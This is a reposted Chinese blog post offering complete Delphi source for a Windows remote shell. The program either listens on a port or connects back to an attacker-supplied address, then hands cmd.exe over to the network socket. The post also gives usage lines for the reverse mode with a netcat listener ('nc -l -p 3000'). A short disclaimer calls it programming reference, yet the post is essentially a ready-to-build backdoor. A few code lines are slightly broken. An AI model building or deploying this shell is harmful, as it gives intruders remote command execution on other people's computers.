支持正反连接的 TELNET SHELL 程序(附Delph源码)

 转自阿D'blog
TELNET SHELL 的C代码不少，DELPHI的比较少见，我把C代码改成DELPHI代码的，喜欢用DELPHI代码的朋友可以看看！只做编程参考，请匆用于破坏！

使用示例:
DShell.exe 3000 正向连接方式
DShell.exe 192.168.1.200 3000 反向连接方式

反向连接时，请先用NC等待反向的连接
nc -l -p 3000   //端口和上面的指定的端口要相同了

代码如下：
program D_Shell;   

{$APPTYPE CONSOLE} //控制台程序   

  

uses windows, Winsock2;   

  

  

function StrToInt(const S: string): Integer;   

var  

E: Integer;   

begin  

Val(S, Result, E);   

end;   

  

function ExtractFileName(const Path: string): string;   

var  

i, L: integer;   

Ch: Char;   

begin  

L := Length(Path);   

for i := L downto 1 do  

begin  

   Ch := Path;   

  if (Ch = '/') or (Ch = '/') then  

  begin  

     Result := Copy(Path, i + 1, L - i);   

     Break;   

  end;   

end;   

end;   

  

const  

line = '-----------------------------------------------';   

  

var  

wsadata: TWsadata;   

MySocket: TSocket;   

Addr: TSockAddrIn;   

ClientAddr: TSockAddrIn;   

ClientAddrLen: integer;   

Clientsocket: TSocket;   

Buf: array[0..1024] of char;   

SI: TStartUpInfo;   

PI: TProcessInformation;   

re: integer;   

str: string;   

begin  

try  

   WSAStartup($202, wsaData); //初始化网络   

  //创建 Socket   

   MySocket := WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);   

  

  case ParamCount of  

    1: //服务器模式   

    begin  

       Addr.sin_family := AF_INET; //   

       Addr.sin_port := htons(strtoint(ParamStr(1))); //端口   

       Addr.sin_addr.S_addr := htonl(INADDR_ANY); //任何地址   

       bind(MySocket, @Addr, SizeOf(TSockAddrIn));   

       listen(MySocket, 1);   

  

      //读取并分配一个新连接进行处理   

       ClientAddrLen := SizeOf(ClientAddr);   

       Clientsocket := accept(MySocket, ClientAddr, ClientAddrLen);   

    end;   

    2: //连接模式   

    begin  

       Addr.sin_family := AF_INET;   

       Addr.sin_addr.s_addr := inet_addr(pchar(ParamStr(1))); //指定IP   

       Addr.sin_port := htons(strtoint(ParamStr(2))); //设置端口   

       re := connect(MySocket, @Addr, SizeOf(TSockAddrIn)); //建立 Socket 连接   

      if re <> 0 then exit;   

       Clientsocket := MySocket;   

    end;   

  else begin //显示帮助信息   

    writeln(line);   

    writeln('[啊D TELNET SHELL] '#13#10'<a href="http://www.d99net.net" target="_blank" rel="external">http://www.d99net.net</a>');   

    writeln(line);   

    writeln('使用示例:');   

     str := extractfilename(ParamStr(0)); //得到程序名   

    writeln(str + ' 3000 正向连接方式');   

    writeln(str + ' 192.168.1.200 3000 反向连接方式');   

     exit; //退出   

    end;   

  end;   

  

   GetEnvironmentVariable('COMSPEC', buf, 1024); //得到CMD位置   

   FillChar(SI, SizeOf(SI), 0);   

   SI.cb := SizeOf(TStartUpInfo);   

   SI.dwFlags := $101;   

   SI.hStdOutput := Clientsocket; //输出到 socket 中   

   SI.hStdError := Clientsocket;   

   si.hStdInput := Clientsocket; //把输入的内容输入到CMD管道   

   createProcess(nil, buf, nil, nil, True, 0, nil, nil, SI, PI); //创建CMD   

except  

  

end;   

end.